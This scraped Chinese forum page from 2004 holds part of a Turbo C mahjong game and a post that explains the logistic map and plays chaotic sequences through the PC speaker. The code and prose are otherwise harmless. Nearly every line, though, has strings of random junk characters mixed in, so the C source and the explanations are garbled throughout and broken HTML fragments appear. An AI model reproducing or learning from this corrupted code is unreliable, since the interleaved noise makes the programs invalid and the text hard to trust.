8 \0 L' ?* D- u/ g+ ?# J}& i4 F4 b/ Q; y& T. K0 @% O' s
if(every==9)% G# c' z( b# u9 e9 @1 u$ `
{
- D4 l) g, r# m: C+ {( Sx1=200;& w+ Y) g1 j, Z- z& {' |
y1=165;& z5 V# b3 i& i- m, F" N
fillRectangle(x1,y1,x1+20,y1+4,0);
6 f; s2 s; X3 j: U2 p  u}
* Z* t+ Y! n6 u: V7 U: ^1 z* Dif(every==10)
5 g1 X; m) {0 j) ]7 E8 o{
( e# N7 N/ ], _( C) Y4 hx1=220;; z% _# m  z3 D' g; R  ]/ U4 w
y1=165;& X* b4 n1 M* u# R% r
fillRectangle(x1,y1,x1+20,y1+4,0);
: m. E4 r: y$ f& I0 Z; |5 H}
9 x9 ^" E. {  H' F9 j* P% R* C  ?if(every==11)8 k% y9 c7 e& _1 o0 Z6 ^
{
+ o& E! j2 o. Zx1=240;
( f- E' x- E- J8 L$ W$ `, ey1=165;9 g3 b/ {3 o( {: J& s( F+ s
fillRectangle(x1,y1,x1+20,y1+4,0);$ |0 G" M4 t5 X  W' e+ k/ V
}
6 c8 J$ c. ~. M! N' e; [if(every==12)! q! n. ]! C9 A; G; E* u
{
6 `" j- @4 A$ ^6 o) i$ fx1=260;9 X, y  g! Z5 W- U. z
y1=165;9 E$ P& t8 `1 W7 {2 v( _
fillRectangle(x1,y1,x1+20,y1+4,0);2 p# W, Q% X' F; h' w0 t3 \
}4 Y* @/ ], p3 }- i

& ^2 R! I4 ~  n5 d. Y: _& z( Wzz=0;
( M3 U- Z( s  d2 l2 q# w, _8 c. Q( yevery++;
- a3 y5 ~1 t9 @' K: e% J! O$ ^$ Uz=z+20;
  ^% c& m4 F/ [+ {: e3 o}
, ?. t8 ^" E! W& r( D) v6 X/ ishowbmp(every);
$ q4 `3 @" @' I: Ykey=keyy;
+ b; m5 b0 o. d" K4 H3 ]; [if(keyy==ENTER)
( H  F; {, V8 B% k1 Q4 {% v{
5 n0 ~' i$ U. k4 |5 Zrgzn(every); /*********************/
1 \; b* f" m4 B9 M% }if(sing==1) /*如果可以乓,做相应的处理*/, T- I' Q" `) J; \# z# {
{
! J( T6 m0 G; `: H2 `2 tkkk=0;- b# _8 C% {- f  i( \+ w7 I
kkkk=0;
- K5 P8 r" L$ H0 cwhile(kkk&lt;=computer.m)# O4 N+ d. H$ ]0 w& T
{
' Q: ~* i0 m" {& c% gif(computer.pp[kkk].p!=1)7 p8 I8 G' `: {! S& ~2 \
{: Q- K" O, C4 P% [4 \! g
comp.pp[kkkk].k=computer.pp[kkk].k;
3 d  {9 ^' x+ u8 S7 F  q9 w7 ~$ t9 Xcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;0 S, e" i% S' r7 |8 A
comp.pp[kkkk].number=computer.pp[kkk].number;6 s( N3 A8 |8 H; H! f+ R4 }7 ^1 ]2 ^
kkkk++;+ B- M5 }8 }9 m/ D1 X
}
9 E! z- q" e% V& T; belse1 J; N! e4 _; M+ V( p
{) ]4 ?: }# V# o1 x, m; N& e) N) G
m[computer.pp[kkk].number].data1=1;6 m& f9 Q* z6 M- O4 f1 K2 r: Z
dwei=computer.pp[kkk].number;1 n. a( Z) N9 P, s1 d8 }
computer.pp[kkk].p=0;6 g: R( Z  m4 K, C0 M
}7 ?) E) Z, H$ T! W- ?/ m
kkk++;
3 o' D# U5 B, F1 r/ M0 u}* ]; c5 \  @! ]" F# j7 K
ll=0;* D; A$ F1 z# p" a  g% i

0 e% j  x, s6 h5 }, R% Z  @# lwhile(ll&lt;3), B  }# }1 F/ {0 o, q
{ zl=zl+20;: C4 B3 V  G9 q
bmpp(dwei); /*显示乓的牌*/! {5 t5 d, L/ H; n" X! q9 ]* l
ll++;$ j& ^% {7 c+ e  e
}
/ g- [4 J) o8 n8 i5 \7 {9 q% c' g# T' |2 K' T# W
zl=zl+9600-60;
' e0 P' {" M3 Jkkk=0;
! \; P& N  |& z7 H" }2 Q0 ~, Ycomputer.m=computer.m-2;# v8 I; m; L3 N6 F% A/ J
while(kkk&lt;=computer.m)
$ w( L5 D* r; v/ F$ I{
4 n7 i3 ]  }# ?5 bcomputer.pp[kkk].k=comp.pp[kkk].k;# G9 Z* E2 m. Y1 X3 v
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;# c4 f7 x( T: a* ]$ [
computer.pp[kkk].number=comp.pp[kkk].number;
8 C5 }/ r+ ]9 c9 Lkkk++;
. p. _& M$ J# ]# _}- u% t1 G' Z  ~# N+ A9 o5 d
ll=0;9 U! V+ f( w, X% k( N) [* R' Z/ W
temp=random(computer.m); /*出牌等待完善*/& \% h. V' q2 s
zyy=zyy+9280+20;" b3 a& D. x4 b" K& `
showcbmp(temp);
8 K7 b0 c9 K2 X4 L* k+ ?zyy=zyy-9280;& E1 Y+ [' T& A
/*****/
7 f) a! s% f- N) @rgznme(temp);
# ?9 f* x, d  f2 Jpanduan();; V' l- @0 V3 o) P9 E
if(me.m==0)
- Q, N( k0 r3 Y% n+ ~' }: cif(second==1 &amp;&amp; threes==0)
" j8 m- l1 l8 v( N9 K1 E% Pprintf("you win!");4 ]. N3 e8 M0 y7 q+ ]
if(me.m==3)) Q+ E9 E; \' m
if(second==1 &amp;&amp; threes==1)& f1 h7 l# Y$ T& g" H3 y( L
printf("you win!");
9 c; X$ J! u; U# ~! Eif(me.m==6)
9 t) H1 |' S% F7 d) J2 k* t6 _2 jif(second==1 &amp;&amp; threes==2)( W$ w0 o- i: d: q- Q% I; J
printf("you win!");$ M0 [4 E( E# G: {) |* G: j6 u0 M- ?$ g
if(me.m==9)* s" o6 o# m! b; E
if(second==1 &amp;&amp; threes==3)
  z% g) K2 B' q2 _printf("you win!");* A5 d; ~) D5 d) U2 x* w
if(me.m==12)
* {# `0 }: s% J7 Gif(second==1 &amp;&amp; threes==4)
! n" u6 V" u4 z3 E- ?printf("you win!");' ]! c* p* g8 S) e' r9 Q
6 e( H4 |, }. V/ I' v, X4 V8 m
kkk=0;7 F$ ~1 ]* O) R- D1 G
kkkk=0;7 L1 p. j# v) G
while(kkk&lt;=computer.m)
* ]; s* S- G0 q! n{" j  z) ]; \3 \, ^5 V) ]/ l1 C
if(kkk!=temp)
& R- S4 L' i8 v{5 l0 X8 k1 M1 }: y& q* ^
comp.pp[kkkk].k=computer.pp[kkk].k;- x" q! A& \8 U& x# }
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
; A' G: {+ i% y! X) V- V2 Mcomp.pp[kkkk].number=computer.pp[kkk].number;9 o# m# l0 G, f8 P
kkkk++;; b8 y7 d7 v% v1 F5 s
}! H: v" I+ \( Z. t# T
else
5 G3 K4 M' r" I, }m[computer.pp[kkk].number].data1=1;8 ]8 N! w0 m  s" E* v7 _
kkk++;
9 C9 `2 X; r: b, _' g* Z- [}
. F) r2 W! c) @kkk=0;
' e" v8 j5 w9 Z+ |2 p. M! L2 Xcomputer.m=computer.m-1;
% K' \- Y. V. S- S! M& S) Cwhile(kkk&lt;=computer.m)
$ p+ N/ m' T) Q, h% a+ ?{
' {9 H' @  d' g  \- bcomputer.pp[kkk].k=comp.pp[kkk].k;
) G) t6 K: Y, }7 zcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
' ~, x. l$ X+ q6 [computer.pp[kkk].number=comp.pp[kkk].number;
7 \1 n6 j; w% W* w. Qkkk++;& ~9 e" H! E$ k/ @- h
}4 s' }& Y6 n4 h5 K6 ]% x
fillRectangle(0,0,320,30,0);
* I# L1 {- o& t( B7 D' w; Gn=computer.m;; X# ~% j7 s: r) I. ~' o; o) Y* b
ll=0;
) K% i/ U* u" l8 M% x) y& szy=0;% N! {" w2 a. X; @' _  D9 @
while(ll&lt;=n)
4 g9 \/ X$ \9 r& `7 [$ o{+ z" l3 m4 ?+ C+ u. ], V
zy=zy+20;
, m1 `' m1 c- y: J7 Bshowybmp(ll);
2 k3 y3 a- S! J9 Y. }+ u5 i/ Sll++;0 ^0 R5 E6 o7 x: J. n3 U
}7 [; H8 r: l) I6 D* t- `& K7 C" N$ I
ll=0;( e0 v! x- i% H# i, ]1 A+ u8 }3 h
getch();
2 E5 s/ k. x; W' n6 D7 h3 tsing=0;; D7 j6 @$ F9 F2 v: j
sing1=1;7 l0 V2 K# y8 T/ x! }- k
}% Q  P3 f1 M3 @! ~

' H8 [8 m! C; N* lif(sing==2) /*如果可以杠的做相应处理*/
: s1 `& F; e' `6 N+ z) p! X  x{% s+ z' [! R% ~5 n
kkk=0;  N+ o' N# h4 k. R" ]) }
kkkk=0;" t( s0 G9 B6 }" V, l5 X8 b
while(kkk&lt;=computer.m)0 c) C( v3 P6 q& Q: r8 p) H
{
/ [( ]  G0 e/ T/ g  z" D7 N" ?! h( ]if(computer.pp[kkk].g!=1)
1 D0 b+ `/ t- X/ U! D. _{
! \( j7 W( ?/ z# i9 j6 ]comp.pp[kkkk].k=computer.pp[kkk].k;
% D4 v0 D2 g! R5 K; \comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
8 P5 D2 M9 L: h5 Q5 ocomp.pp[kkkk].number=computer.pp[kkk].number;  z, d) H0 z9 G1 A  w
kkkk++;
. G$ ^2 n0 r9 J) m/ |4 ^# Q3 i& [3 k}
& G, s8 q6 E5 I7 A  kelse
: U5 v  a0 A  i( k; I8 j{4 S2 f' o2 j. ~6 s& J
m[computer.pp[kkk].number].data1=1;
+ [6 J9 {! p+ h# l* T6 tdweig=computer.pp[kkk].number;" }2 z3 w' P% G, Z% {$ v
computer.pp[kkk].g=0;
% x! h& J% {, b4 K+ ^; v9 Q}
, I7 R& P- P/ l) X9 E3 }) S. t/ Wkkk++;
/ i3 d8 ~, y* F5 e6 Y/ i/ q}  r4 y8 f8 A6 v/ g1 N
ll=0;
0 P5 H, r: O- ~1 N# C
) A# t* ?4 J, V" E- zwhile(ll&lt;=3); I' ?7 a2 ?% u* e
{ zl=zl+20;+ a* d7 _) g* g" \; P
bmpp(dweig); /*显示杠的牌*/- Y( `; [5 Q( V2 M$ p3 [5 X% m6 b
ll++;
9 }$ i# d) `7 S}: ^0 f( C* a7 k( x1 T6 L
zl=zl+9600-60;% K" B: I0 Y1 L& u- a5 O
kkk=0;6 R" e9 P* B5 }( E8 m% q' b
computer.m=computer.m-3;
, U+ c. p: @- y" M3 x/ x+ owhile(kkk&lt;=computer.m)
1 C4 f. f, ~+ r9 L5 h+ _{5 t6 h3 U1 P6 Y8 V
computer.pp[kkk].k=comp.pp[kkk].k;
! x' \9 Z# \1 a- xcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;" \- P  V# e& a. v6 b: L4 u5 G
computer.pp[kkk].number=comp.pp[kkk].number;
) H& D" @1 X8 v: Rkkk++;/ k8 \* Y1 k$ j2 R6 b# g
}/ F" O, x" c) X0 E! u$ F
kk=0;
8 k7 L4 Q3 _+ r1 acomputer.m++; /*加一个牌的容量*/: o% d, c  q1 P( x# ]1 |/ |* |
while(kk!=1)
. Z; N1 s4 j2 R! }$ t* S9 f{/ Y4 l# ?* B# W5 v! ^: e
temp=random(136); /*出牌*/7 F1 r4 r( {8 a
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
- J2 W0 G- i# M{) Y# o; u0 h3 b' c0 S5 W& P! f
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
0 S+ q/ R% Z& q" u$ Z  ycomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
5 K1 Z0 F- [. C0 bcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/
) i0 w' A) H) E4 f" r3 am[temp].data2=2; /*判断牌是谁的,2为电脑*/
8 o( [, S' j2 u2 e; wkk=1;
& m( F0 G  ?6 ?7 B- g% o}
9 f" w  f( \, n# m+ ^}
4 E0 U+ s# _2 Ocomlipai();
" A' M7 G" b" j5 L6 N/ utemp=random(computer.m); /*出牌,等待完善*/
" a7 }0 z6 g; z4 o0 hzyy=zyy+9280+20;
4 q4 W  }- D  {5 r9 Ushowcbmp(temp);" |+ u/ z1 a$ S* J4 ?  e( f" g. o, s6 _( `
zyy=zyy-9280;
$ S' j0 Q# N: A8 m/*****/4 x  x/ V  Y: ?$ R" a) r; T6 C
rgznme(temp);8 p* p: l2 d3 g# @0 G9 @
panduan();
" P1 A  O: E3 z' ]if(me.m==0)
1 z/ S# a2 I# m- f$ m: s# m! M- Eif(second==1 &amp;&amp; threes==0)# a* v+ @4 l% @+ v5 ^* f
printf("you win!");- a3 |: B/ w6 W& h# Y" A( v. S$ D5 e
if(me.m==3), N; C7 U1 @2 Y
if(second==1 &amp;&amp; threes==1)
. Q9 a5 b/ j- pprintf("you win!");6 U' b9 m' @, q/ d9 b
if(me.m==6)
7 O: y) c  K  t5 [  Yif(second==1 &amp;&amp; threes==2)
, m- ~. H, ^* o% j' f+ h/ F9 oprintf("you win!");
/ t7 v4 F' Q9 T/ x( G8 Xif(me.m==9); |% X; t: d5 n5 F" ]7 v# D
if(second==1 &amp;&amp; threes==3): O; T3 r$ u- F0 ]
printf("you win!");
/ U: ?* ?: k! u; }if(me.m==12)
- D9 O! A  T/ g. l3 ?if(second==1 &amp;&amp; threes==4)
1 b7 e  e8 P+ ]4 m. \7 X9 bprintf("you win!");
" V- O9 E! Q+ o. T: O9 Q# N/ M% M. }7 _# b' W( M0 E$ U
kkk=0;
1 q7 `9 O2 H8 F" ~  L: Mkkkk=0;7 b& S0 D5 `. Y* |8 [1 I3 ^
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
0 P* p8 R  {" E1 z{+ d9 s1 j5 `  h
if(kkk!=temp)! t% w% E1 M- ?0 e  J9 v3 O* O/ L, u( t
{- j' `9 }, p( Z& N9 g
comp.pp[kkkk].k=computer.pp[kkk].k;
* l* Y1 U9 ^( dcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;1 v5 l6 v& k9 i. Z2 E5 ?, ]; E
comp.pp[kkkk].number=computer.pp[kkk].number;6 Q! J  Q( o" l( E! u
kkkk++;$ x" n, Z5 C: g/ [& k3 j
}
* V* @; U) e8 i& Oelse
7 ^8 u! H) w! c7 }5 b: zm[computer.pp[kkk].number].data1=1;
: f. P' p8 `/ p# J. kkkk++;
' }8 C# E/ R7 r* C}
# y% [  y( R/ N& q7 M+ `. ^# Jkkk=0;, l0 Y* g1 u9 o% t/ |5 j8 o
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/0 |0 F! H$ B0 u' P  g
while(kkk&lt;=computer.m)
9 D2 z. K! P$ }2 M( f{* i9 G/ u0 f- p) ]- @# K
computer.pp[kkk].k=comp.pp[kkk].k;: q3 B6 ?4 x( f( A" ]* v; e
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;1 [- p# X) b6 X) l! ?
computer.pp[kkk].number=comp.pp[kkk].number;" \% J+ S! t' P+ V* J& K
kkk++;
) Y8 k$ M/ `. e2 `" v# ^}; A& z1 W: I% p. w" q
fillRectangle(0,0,320,30,0);& h5 E6 O0 m" [( c
ll=0;
( C4 l& I" K, A7 i: |& }& Dzy=0;
) M; c, W+ T2 \% T8 D0 _; Fwhile(ll&lt;=computer.m)3 u- o3 D2 H  B/ h9 q3 i0 E
{
6 I" a4 z6 j3 p. i+ s; Zzy=zy+20;$ `' D4 s& ^# s4 E
showybmp(ll);
8 f. d: ~) G8 ^( oll++;
+ D+ r) @+ Z& T& J7 ]% f# x+ M+ R. \}% \5 h, E/ L0 t# u1 ?/ |
sing=0;
5 [. E' Y7 b$ s1 c  msing1=1;0 e6 I. _' I; _7 m; f
}
- Z) V* W8 ~- w, }if(sing==7) /*如果可以吃的,做相应处理*/
1 y8 S; l3 S1 ]4 J0 M{ nn=0;
8 X# S* ]9 r! l* Y' j1 |kkk=0;
- y8 a. _: m) D' e) {kkkk=0;
7 W9 ]/ G2 [2 N( Nwhile(kkk&lt;=computer.m)
7 d1 W% w% }; n6 J0 w{
  F7 p  w: ]: l; @0 eif(computer.pp[kkk].c!=1)0 Y  T" d! O$ H3 t
{
! }; j0 N  s+ y. f5 e. N# _  kcomp.pp[kkkk].k=computer.pp[kkk].k;
6 U+ v# p# Y) v2 l$ Bcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
1 F9 V, E' ?% O6 k2 d3 X/ K0 icomp.pp[kkkk].number=computer.pp[kkk].number;- @  `+ W! U8 R- P+ Z% F5 [6 C
kkkk++;
* X0 o, M: Z2 ~  F}; W' Y: i; ?% l# Z  c& D0 ~
else$ |2 ~1 G% E: Y; b
{
3 [8 S6 v( z- K! hm[computer.pp[kkk].number].data1=1;
5 B* G# R$ N; J& h: o8 edw[nn++]=computer.pp[kkk].number;
: W1 ^' S3 M! O, X9 qcomputer.pp[kkk].c=0;  n! \. @+ ?/ U8 o' A% w
}
. w& d/ Y) W! x' ~kkk++;
. Z; G8 [$ Q( M& {5 r}
' \7 B3 L# D1 S; F6 W$ m
$ H! K" n( z& D8 [0 Qif(me.pp[every].number&lt;dw[0])
0 j+ E2 c2 W8 U  M{
! V: u4 K6 Z% i2 P& E# b) `- Z+ vdw[2]=dw[1];, k' ^1 Z$ \$ p2 o3 `. g- }# _
dw[1]=dw[0];
& ?2 L8 q% n- p" [* C: ?3 ^7 s1 h* Fdw[0]=me.pp[every].number;7 c' x8 [7 f8 y/ I
}
2 @; j7 s. z. v( sif(me.pp[every].number&gt;dw[1])
; I+ Q6 }- }$ q1 P9 i; e$ k{
+ a% O! `# u+ X' qdw[2]=me.pp[every].number;& k# w, b% P4 a
}
% |- G5 f& {. r6 J. wif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])3 q) `% R: j" {( i5 N2 ]
{) x7 B& t( f6 f$ ^
dw[2]=dw[1];
7 Y* J% I; s) n# M; l+ w7 P& P9 Tdw[1]=me.pp[every].number;
! k3 _6 G' V, e8 K4 B; O}
; f6 E2 u& n' rnn=0;; p. u5 |4 ?; U6 I4 W8 T  v+ X
while(nn&lt;3)+ Y, P# t( l8 i2 k; c# ?
{ zl=zl+20;6 b1 A2 C0 J5 w# S: e5 t
bmpp(dw[nn]); /*显示吃的牌*/
8 l6 X9 a( q9 M+ _  }" l1 tnn++;
4 D& T. N9 n0 n5 O* o; p}' K4 n% p) f. L; v
zl=zl+9600-60;  A$ i& {. H2 [  u, `$ M
kkk=0;
" `! Z5 E; J1 mcomputer.m=computer.m-2;+ J$ p' D* G( w0 w
while(kkk&lt;=computer.m)/ G% h- ?3 F, ~5 s$ B
{
7 ]) n& }4 x% |  S, @% rcomputer.pp[kkk].k=comp.pp[kkk].k;# d  c$ a# W0 b$ H+ Z3 }
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;# F, f& M: e; ^% [# l( F
computer.pp[kkk].number=comp.pp[kkk].number;/ {; y* w9 Z& g6 ^) q+ q# P$ o
kkk++;/ x" Q  F& n' `1 ^" v" q+ u1 }
}
" F% h3 ]+ r' H" u, x" ?5 _ll=0;& g3 p% y  S" J4 Z$ s$ U, |
temp=random(computer.m); /*出牌等待完善*/
  F1 y' r. G  F3 j* Yzyy=zyy+9280+20;* [  M; k% }8 V$ J3 O! {9 m
showcbmp(temp);2 `  m; c# t( k( w/ B
zyy=zyy-9280;
! L- L3 B/ X" Y' @, v! ~/*****/
1 ^) M' o- U8 Z2 orgznme(temp);1 E. V3 R# b! D* _, ]
panduan();& Q. n- M) l) S5 o/ @
if(me.m==0)/ Z& w. e/ L1 _7 W' l, x
if(second==1 &amp;&amp; threes==0)
, ~! T& C) y  X  Vprintf("you win!");9 d# W: p. d- @# E$ m
if(me.m==3)( |1 N7 @7 T) e- h8 \  j- t
if(second==1 &amp;&amp; threes==1)4 }# m& S4 t+ R+ w2 z0 B
printf("you win!");
) w; G2 ^- R! ?+ b' Mif(me.m==6). ~4 M1 e* S: r$ N5 p
if(second==1 &amp;&amp; threes==2)
8 M" c9 H& w* N3 H  ~! V* Jprintf("you win!");
6 {( M7 q5 V0 Y' B; g& o& ^if(me.m==9)4 h6 `! k3 ]1 V' n$ u' U
if(second==1 &amp;&amp; threes==3)
) N# T0 a  d1 Z1 G/ B6 t4 V$ R7 Hprintf("you win!");
0 b& e2 }7 D8 x' F4 s# D; m7 Hif(me.m==12)
( |2 z% ?* W+ w8 ^if(second==1 &amp;&amp; threes==4)) b4 _" \/ ?; _9 y; M
printf("you win!");
4 ^" u& `7 W4 C4 s8 \
3 Z* ?  f( n( O, S, T3 s8 y# jkkk=0;
3 M' x: C# D7 S# O! G" I) L2 Hkkkk=0;
; @# q! F( S' ?" L6 Jwhile(kkk&lt;=computer.m)
' e: w8 {5 Y& B{
3 B* b! z  e% t- p1 d8 s' vif(kkk!=temp)$ k; N8 B/ k3 ^/ x% w
{
, `  T7 W8 Y  O; g0 n' p* R* zcomp.pp[kkkk].k=computer.pp[kkk].k;+ d- B+ x: d% [# H" p1 H9 m
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;2 w2 r* _0 g+ e
comp.pp[kkkk].number=computer.pp[kkk].number;
% G# N1 R9 [! qkkkk++;
, i2 Z: O. ]4 v( r}
! U8 P4 I: y7 Gelse  T" m& Y5 P4 \: I
m[computer.pp[kkk].number].data1=1;0 p" |7 {1 l! _7 K( J+ i
kkk++;6 N9 W4 o1 i  f) }$ @! w
}
. D8 g' {/ \2 f) [- x$ ukkk=0;
) B: ^- c) |4 C) L$ ]. Ecomputer.m=computer.m-1;
, c" }2 J1 N2 g( c/ c% hwhile(kkk&lt;=computer.m) ! o( L" b" f/ [/ I5 S( I" {1 }
{/ N$ Z3 x8 y+ J9 G7 S! d
computer.pp[kkk].k=comp.pp[kkk].k;
! n# K' u" s& h$ S- |4 P; \5 R3 fcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;& S' @% E# C9 w2 D- N' @
computer.pp[kkk].number=comp.pp[kkk].number;
9 V5 t* {6 _: H4 s' }) Y7 ckkk++;$ U- R( o3 F! u0 A2 u1 o3 `- q
}7 r7 o5 N& i. a# d1 G/ ^
fillRectangle(0,0,320,30,0);8 Z  \7 |$ ^  X+ @6 |( }' s
n=computer.m;& J4 l' @1 N6 I( \& K8 K
ll=0;: a* n  j1 M( _$ {! C( {
zy=0;
0 l, k2 I3 l/ |1 V- [/ l0 zwhile(ll&lt;=n)) i; `. n3 _* K& z8 N9 ]5 ?
{
" ^8 ?0 L2 e6 B1 O9 M: V3 A& nzy=zy+20;" b: z+ ^& P: H/ }5 t
showybmp(ll);
. t3 }  w6 i) B7 F. I* p- Ell++;
7 W* X* @. M" {8 Z+ {% l}6 h2 v5 Y/ r; D

) P$ s) T4 U; u4 z; y( R2 Jgetch();9 X( R* D. |+ J+ Q$ g& R  K+ S* u0 d- c
sing=0;! q6 b  L6 f: O6 g) Z9 o) S+ d
sing1=1;
4 i: L$ B  T# w}
$ q0 j& m( n$ h4 Yif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
: V* @" D9 _4 W" o' u$ z% k, J{
( H9 ^& B7 N: v" Ikk=0;) j* N* n3 U! J
h=me.pp[every].number;
' K* B* b4 K: w2 i* Pm[h].data1=1; /*此牌已经无用*/
) H, m$ A) t% U& Zif(sing1!=1)! ~5 E# ]  J, e+ D) t/ u1 f' s
{
9 S8 T6 _( {% _5 ]5 q: O8 zzyy=zyy+9280+20;( X* A, E3 v) n/ T& Z
showbmpd(every);( }. G' O5 T& {, }( s
zyy=zyy-9280;
4 s! M- i6 r. [  E}
: Z7 w6 O9 U2 k4 Z. |9 o: N2 owhile(kk!=1)) g# f3 y( f! g
{
  {( P0 G: z2 P9 r+ N% E0 I: _+ L' ?temp=random(136);
& p5 X  x7 J, d2 l9 H$ R4 tif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
' ^" j6 }  @* G; r9 l{! @4 S! Y! J/ _5 S$ ^
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
" U. A2 ]1 d/ S$ z5 c9 V# d/ F# c& |me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
) T( Y# D% m- h* ]me.pp[every].number=temp; /*第几张,用来排序*/
: ?6 X0 L3 J2 r' ]& gm[temp].data2=1; /*判断牌是谁的*/
5 p4 O) p: O9 J0 J" a! g# Nkk=1;7 J3 e  b* ?5 E
}. E' P5 e1 o$ n: ^) B! x8 Y
if(kk==0) /*判断如果又选择了,就从新再选*/9 a/ {3 ]& f3 P- F- M  _% ^& c" Y' O
kk=0;
# Q/ p! b9 @4 G  M+ D! w/ H, q3 c}4 `! R! Z  `1 S9 |+ [
}
' K8 |, Y) e% X5 tsing=0;& F; @4 \; @. ~0 A9 D
sing1=0;
" v" i2 y! t0 n* w' P1 F2 jmelipai();
3 Y6 `2 L" F2 E% dn=13;
7 k! L( n" o* Z+ T+ Vz1=54400;4 @4 c8 ~8 c/ a: R, G7 |0 i
l=0;
9 y: w+ _9 O- a+ mg=z;3 {0 y* I7 j) J* C" e" Q
while(l&lt;n)
6 r1 k' j4 N8 F{ z=0;
" |% {& q. X' o3 h' T6 h, fz1=z1+20;
; A# _/ L9 h: D; V0 ?! @showbmp(l);7 l- a# |6 ^* |4 c) a! y
l++;
# U# ^9 @; v$ W! _# B6 C) Y& g}1 c9 X* Y: B6 a
z1=0;. t* u% Y) R$ i# c
z=g;
% Q9 l$ I# r& f7 b}3 ?) K8 p4 }- M" Q6 N# V- b
keyy=0;
) b0 h1 T3 S& a% C1 P# X9 A6 [}
* W* d# t5 c$ g/ H  u4 w2 |6 K, T% a- D6 D/ w1 K
getch();; d* s0 l4 x- W3 p  {
OUTVGA;1 j& U4 G/ y4 O- W4 z1 L5 C! |. ~
} ; T$ Q% J# b% N4 b7 _
</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:38
<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
2 u  R, N) R5 @' q5 `</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:! h" ~4 J$ t$ D) H
2 d9 _9 z: ^8 `9 f, o$ z; z, j+ _
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
! C9 x/ }! r# A4 b  <FONT color=#009900>#include <DOS.H>
) N" P! D8 r! P  #include <STDIO.H>
" Z+ f- {! m. V# {9 {7 S0 m4 ?  main(){
! `! w5 x7 M: L2 x7 j( D# ~  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
4 p& w" }1 N0 n) \+ O6 @8 o: d& ^  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/  M- v3 F# Y3 t3 B, K4 n6 ~
  /*i,j用于循环记数*/  H; N/ z- y' L
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
' z( E% s5 l4 B% T5 S6 U9 [6 g  fDis=fMax-fMin;
! T: z7 u8 O2 K; v  for(j=1;;j++){* x# F% d+ A' t( x( u
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/$ F3 F. B3 @% B
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
9 R1 V$ f7 R* N+ l4 }4 J$ y  scanf("%f",&k);7 e* n$ x1 }9 g. ?  @# r5 m' c
  if (k==0) break;
+ G: N& @" o2 A! J; M/ w  for(i=1;i&lt;100;i++) /*去除开始的100个点*/, ]8 h( {/ ?, Z0 \6 {- N  p8 r3 ]
  x=k*x*(1-x);" _" R2 ]: ~: }4 S2 E
  for (i=1;i&lt;100;i++){9 t, Z: D# Q4 \1 N/ n" T
  x=k*x*(1-x); /*计算x的值*/* g! f, B8 F8 ~) m9 N
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/' f3 |4 |0 V/ h! Z, ~( D* J- J  V
  delay(1000); }
* s$ U/ Y) a' c* Y- I; [  nosound(); }}3 [6 N% ~! p5 V$ a1 Q
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。& V1 a) J0 e8 p# _% I4 V1 h9 p
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:39
<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>  M: L" f8 t$ e
<FONT color=#009900>/*
